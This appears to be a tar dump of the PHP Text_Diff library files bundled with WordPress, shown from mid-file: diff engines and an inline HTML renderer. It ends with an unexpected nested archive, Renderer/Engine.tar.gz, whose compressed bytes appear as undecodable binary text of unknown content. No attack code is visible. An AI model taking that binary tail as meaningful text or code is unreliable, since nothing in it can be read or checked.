                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     shell.php                                                                                           0000644                 00000012123 15217301663 0006367 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             native.php                                                                                          0000644                 00000037261 15217301663 0006560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               xdiff.php                                                                                           0000644                 00000004233 15217301663 0006363 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Renderer/inline.php                                                                                 0000644                 00000012630 15217306007 0010304 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        Renderer/Engine.tar.gz                                                                              0000644                 00000017123 15217306007 0010653 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =v8@2:mչ/dwO$} 	6ErHʒ2*\$;tOoxrb	
Bn(ip܍'~ϓGn?~<y˟<~5r(,ͼ}o`mv%)O,#,J_dl(FE,elDS]M8fDsqSԈ̟C6?유YEl>>d!wJcKoٔP[I!OxRnvFp.@)s:O&,k4(O2?f?ɥi٣%ڝ%CNkN,yw`^Ks"3 JaRx_}F0Eyr&B624_~weߏ2Ve,>SRqH(X,%
v/Ag3~2@#1gJS1vPһ^Zuadܻ)>U:f"I3{7zS"|pHE)Cø.8!ճisci}ٗMẻV{g@- 0R34$j>A}2a
X6F;=LOM8V[гjHH@u?jHgKMwKM|iIQA³YʵKHx@
3!7c,\m5B-{^_vpJÆ(L5|oJň5lq5-věeQ@}dj;nv,A2/=~m8瀇M갅ɾ+tկN9a_}4K5Urr^≔'I4ERKgq%YagcՂ'mk{{NTt:ʄhe6͂!~/r@E
;?A1$U7ð/ƚ׽|6]Xl h35KmfX@ku@§5ϭ	*h@'`(䖔P
_`*K3]lFYYocu!S@3F"<Q,cUTL:OcTG#[eƏrn,LV2@3eD())jCjOg5,i,6EXPR :lW@P5w|ҹ@Ӿ;NXf
LګaXyg(F+Jģ]sgǌE^V9mK:&^JP.Hs}1tGkhisSxmө'?±4Pݭc_+ȪAS7J	
wKtR.Wp`{3C_X2tFsߐYUV~,%Ucviwk)&[uS̈́:1R$Us-&Y5t..Pсd%Jǒ`26yDѕ\mP2kVCFXwCtQZ֨Â~5{JX+13_e-&zr=.WΈz]cQQ h>?}:p<
hU\
D7Ig9Tw?mf4P$v5%ݲgp%ɜԳi>8DYŐ|*{_5ʡ$Ӆ4t25-̙^۝hlmeL=ᵵƺlDtK4~;_JZ6+@"ձR`?U֢Ҳ	n*ˡ!ecSsx;8uY󭧉-Ѥ݄&,,J|]Jb-.K۳WJ}nIߞ}?M>}אm~ԈO:A˦v?|sDI 'K{AIlFe~4gYGĐwk82P,߰XDcU]ʋ	} r9:"BB3m}& (8z"x6yWXͷy&ęnMpLgmyNd1k/Q9%!7αQ4z¯[ސF0ßvNAOFN)o-
䴺fj\mQ1ZmݱTJ!eSx)ʚ6.+Ӗ;*sYsaVY;bimn1fϩVR6ц pmƧ`0LN1M0B$Mzǎ83I0q'aUnX4`ZigیbL_u{shFq͚6G$mA]_
dem?*w!M^X]M:$+FV'tgDz΂@˫,9&c+ԱWc&
(kgPϿv/lŊ(FSTO{v7h~R,z<ℏϧ{¨juj~צo?knF`&h(Nw7/C=#ue楪ayq4噪|gȠ 2U<YLLAJE[`3>'[<<Y`HV9:¬&̜6X`=ekYj~ztVC`XvY8;~T0,4ZiW^޳W)^ J*FZ@sh]j:j1Ό^;U$rgJHPp+v)ӻ6߽k=vS||px/=?%-|Y"oA?+=%'3T>gC<AŞ)?`jOzwzpaetb7D_cVMlS)2	L%_}C>p+y'#X#qe'BٌQLp[C"̐0*͒dPr8^@7y^'`o9{P3(fS4'hugp\Be78窯,W\^$!^rEAգ45$t2-BGu>ǖ3:E_Գě+4;tuXlK_	L\_ïw_,oo9E<;]`gLN|tmތ3/G	h̩DCFi= 0,z{yIY@{u=By͓UȠmu@{מ0ͼN,{aw3>`^Ӟ^^ÿy?{v޺DCcr=yWBp{ڍ~ڝˇ8N3.ɠ'?u'4hJMyBP)RUy0뷱w~+xj;vP'^G᪩1"l(ҬzL k;@7]ŵY8=em:{0A2dohp`.{D\	v0tK2h inZ#'eI84Skَ"T˹1k7j@PN\k,_(]:KץZTJRb+e*_{&<'ppZY1*l
e2/FVUEhC*g!Ee%
\ܿ1~>*)̹}<+ʃtEYjB\R3:Ikȯ
]ȇc4ʬ?Р%%qɯ@eI`çn@@(X}ko@ÅPp)~AXK!Z5
x<#@EqI$M%bR%Oc1iBgͬvKE(߯XuWH#
0ᬲS@fi)ؚ5Q-w@RԓSH4Id+s"nȦ,]AGo-!"SozoQ&cpy*Ixf܊0VvQPQy/е]^U-UgGA+K8\+J<[yNR0Uq0_ϕ[isTJ_U^>	by<(60<S{@\hq߹r1wg)|_P˕zQʝ};Ci(,uJ7 uhYܛ#~V]ǫ$3 r'LJ[(u"kݴ-[BB@;6/ĵdҗwvvb;
m4e͟_m[?Ƚor
D^'B 
wciURu"f'ނk	V1t
ITXPz[$WK31 /`Hc :>FgʦSEkD7A!FasAofmOͶ߶}U@]TE!t*"e>AА05?AL8mj$hqA̦++9< nPT-ok4
a\<!LE}![+7k/Η?f7(U G	ԲPxc݌0XoK-'hɔ3cI<  4g.fK!Wiqq)膻oMebU=xCP'oPzdę=ۼ->G_A TiU4%YVܓxb]7xBt:NTv} GNZ¹CxX,7âB
tŻ
!a
͝YDEB;f)z[PUFӣ*#?&N!g\thk_^Pwg9ĩb*CY4I4LM9-@%wJ⠅R-˥~	F-11o,W8c{
߫BZkk(v$"t!+ï6G63i]~cbUyеFh
